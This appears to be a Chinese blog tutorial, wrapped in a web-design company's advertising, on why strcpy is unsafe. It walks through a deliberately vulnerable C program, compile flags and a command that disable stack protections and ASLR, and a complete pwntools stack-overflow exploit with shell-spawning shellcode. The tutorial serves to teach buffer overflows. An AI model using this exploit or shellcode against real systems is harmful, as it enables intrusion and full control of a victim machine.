本篇文章給大家分享的是有關(guān)strcpy為何不安全,小編覺(jué)得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說(shuō),跟著小編一起來(lái)看看吧。
成都創(chuàng)新互聯(lián)公司是一家集網(wǎng)站建設(shè),宕昌企業(yè)網(wǎng)站建設(shè),宕昌品牌網(wǎng)站建設(shè),網(wǎng)站定制,宕昌網(wǎng)站建設(shè)報(bào)價(jià),網(wǎng)絡(luò)營(yíng)銷(xiāo),網(wǎng)絡(luò)優(yōu)化,宕昌網(wǎng)站推廣為一體的創(chuàng)新建站企業(yè),幫助傳統(tǒng)企業(yè)提升企業(yè)形象加強(qiáng)企業(yè)競(jìng)爭(zhēng)力??沙浞譂M足這一群體相比中小企業(yè)更為豐富、高端、多元的互聯(lián)網(wǎng)需求。同時(shí)我們時(shí)刻保持專(zhuān)業(yè)、時(shí)尚、前沿,時(shí)刻以成就客戶成長(zhǎng)自我,堅(jiān)持不斷學(xué)習(xí)、思考、沉淀、凈化自己,讓我們?yōu)楦嗟钠髽I(yè)打造出實(shí)用型網(wǎng)站。
在剛剛開(kāi)始學(xué)校C語(yǔ)言的時(shí)候,很多人都用過(guò)strcpy這個(gè)函數(shù)。簡(jiǎn)單說(shuō)是一個(gè)內(nèi)存復(fù)制的函數(shù)。這個(gè)函數(shù)確實(shí)非常方便,但是這個(gè)函數(shù)是非常不安全,由與這個(gè)函數(shù)而產(chǎn)生的緩沖區(qū)溢出漏洞在很多文章中都有所介紹。我們應(yīng)該摒棄strcpy的使用,而是用strncpy進(jìn)行代替。
原型聲明:char *strcpy(char* dest, const char *src);
頭文件:#include
功能:把從src地址開(kāi)始且含有NULL結(jié)束符的字符串復(fù)制到以dest開(kāi)始的地址空間
說(shuō)明:src和dest所指內(nèi)存區(qū)域不可以重疊且dest必須有足夠的空間來(lái)容納src的字符串。
既然這個(gè)函數(shù)能造成緩沖區(qū)溢出漏洞,那么這個(gè)漏洞究竟是什么樣子的那,怎么利用這個(gè)漏洞那。很多文章對(duì)這個(gè)卻搞的諱莫如深,讓人一頭霧水。要弄懂這個(gè),我們先了解下Linux下32為程序函數(shù)調(diào)用約定。
以下是一個(gè)簡(jiǎn)單的C程序stackOf.c,后續(xù)的內(nèi)容也是圍繞這這個(gè)程序展開(kāi)的。
#include
#include
#include
void vul(char * msg){
char buffer[64] ;
strcpy(buffer,msg);
return ;
}
int main(){
puts("please give me your shellcode:");
char shellcode[256];
memset(shellcode,0,256);
read(0,shellcode,256);
vul(shellcode);
return 0;
}
這個(gè)程序的功能很簡(jiǎn)單,就是將輸入的內(nèi)容復(fù)制到buffer中。不過(guò)這里有一個(gè)問(wèn)題,buffer只有64個(gè)字節(jié),而輸入?yún)s可以是256個(gè)字節(jié),這會(huì)引發(fā)什么問(wèn)題那?下面部分再說(shuō)。這里我們來(lái)看在執(zhí)行 vul(shellcode);的時(shí)候,對(duì)應(yīng)的匯編代碼是什么樣子的那,以及進(jìn)入vul函數(shù)和退出vul函數(shù)的時(shí)候,堆棧的變化情況。函數(shù)調(diào)用主要有兩個(gè)點(diǎn)需要關(guān)注:(1)參數(shù)的出入方式(2)堆棧的平衡
這個(gè)例子中只有一個(gè)參數(shù),可以看出先進(jìn)行push eax操作,在執(zhí)行call sym.vul。也就是先將參數(shù)入棧,再進(jìn)行調(diào)用操作。
CALL指令(“調(diào)用”指令)的功能,就是以下兩點(diǎn):
將下一條指令的所在地址(即當(dāng)時(shí)程序計(jì)數(shù)器PC的內(nèi)容)入棧,
并將子程序的起始地址送入PC(于是CPU的下一條指令就會(huì)轉(zhuǎn)去執(zhí)行子程序)
流程如下圖所示:在看下vul的匯編代碼:首先將老的ebp入棧,為何需要這一步,為了方便?;厮?。至于棧回溯的問(wèn)題,后續(xù)會(huì)單獨(dú)來(lái)說(shuō)。重點(diǎn)來(lái)說(shuō)一下leave和ret指令:
CPU執(zhí)行ret指令時(shí),進(jìn)行下面的兩步操作:(IP) = ((ss)*16 +(sp))(返回地址)(esp) = (esp)+2(32為是+4)
leave指令的作用: 在32位匯編下相當(dāng)于:mov esp,ebp;//將ebp指向(ebp內(nèi)部應(yīng)當(dāng)保存一個(gè)地址,所謂指向即這個(gè)地址對(duì)應(yīng)的空間)的值賦給esppop ebp
編譯stackOf.c
gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwnme stackOf.c
運(yùn)行結(jié)果如下:最好加一條命令關(guān)閉系統(tǒng)的的地址隨機(jī)化
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
如果是root用戶,可以使用:
echo 0 > /proc/sys/kernel/randomize_va_space
查資料結(jié)論是sudo命令不支持重定向。
這里來(lái)說(shuō)說(shuō)一下buffer只有64個(gè)字節(jié),而輸入?yún)s可以是256個(gè)字節(jié),這會(huì)引發(fā)的問(wèn)題。當(dāng)用戶輸入過(guò)長(zhǎng)時(shí),會(huì)向高地址覆蓋。如果將返回地址覆蓋為:就是將返回地址覆蓋為jum esp的地址,這樣當(dāng)函數(shù)返回的時(shí)候,eip指向的就是jmp esp的地址我們精心設(shè)計(jì)的buffer= 填充字符 + jmp_esp地址 +shellcode
那么數(shù)據(jù)是怎么計(jì)算出來(lái)的那。用r2進(jìn)行調(diào)試(gdb也可以),在strcpy出下斷點(diǎn),運(yùn)行:通過(guò)分析vul的匯編代碼,可知在strcpy調(diào)用前將ebx(0xffa97850)入棧,而這就是buffer的起始地址,ebp的地址是0xffa97898,兩者相見(jiàn)是0x48 = 64+8 = 72, 別忘了還有ebp在進(jìn)入函數(shù)的時(shí)候也入棧了,所以還需要加上4個(gè)字節(jié),也就是76個(gè)字節(jié)。
通過(guò)ldd命令可查看libc.so的加載地址UTF-8這個(gè)需要加上,能夠避免中文亂碼。
#-*- coding: UTF-8 -*-
from pwn import *
p = process('./pwnme') #運(yùn)行程序
p.recvuntil("shellcode:") #當(dāng)接受到字符串'shellcode:'
#找jmp_esp_addr_offset
libc = ELF('/lib32/libc.so.6')
jmp_esp = asm('jmp esp')
jmp_esp_addr_offset = libc.search(jmp_esp).next()
if jmp_esp_addr_offset is None:
print 'Cannot find jmp_esp in libc'
else:
print hex(jmp_esp_addr_offset)
libc_base = 0xf7de0000 #你找到的libc加載地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset #得到j(luò)mp_esp_addr
print hex(jmp_esp_addr)
jmp esp在程序里的地址 : jmp_esp_addr=jmp_esp_addr_offset+libc_base
,結(jié)合圖解一下
shellcode如下所示:
'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
#-*- coding: UTF-8 -*-
from pwn import *
p = process('./pwnme') #運(yùn)行程序
p.recvuntil("shellcode:") #當(dāng)接受到字符串'shellcode:'
#找jmp_esp_addr_offset
libc = ELF('/lib32/libc.so.6')
jmp_esp = asm('jmp esp')
jmp_esp_addr_offset = libc.search(jmp_esp).next()
if jmp_esp_addr_offset is None:
print 'Cannot find jmp_esp in libc'
else:
print hex(jmp_esp_addr_offset)
libc_base = 0xf7de0000 #你找到的libc加載地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset #得到j(luò)mp_esp_addr
print hex(jmp_esp_addr)
#構(gòu)造布局
buf = 'A'*76
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
with open('poc','wb') as f:
f.write(buf)
p.sendline(buf) #發(fā)送構(gòu)造后的buf
p.interactive()
從圖中可以看出我們居然獲得了shell,那刪除文件、瀏覽文件、復(fù)制文件等等很多操作都可以隨心所欲。
以上就是strcpy為何不安全,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見(jiàn)到或用到的。希望你能通過(guò)這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。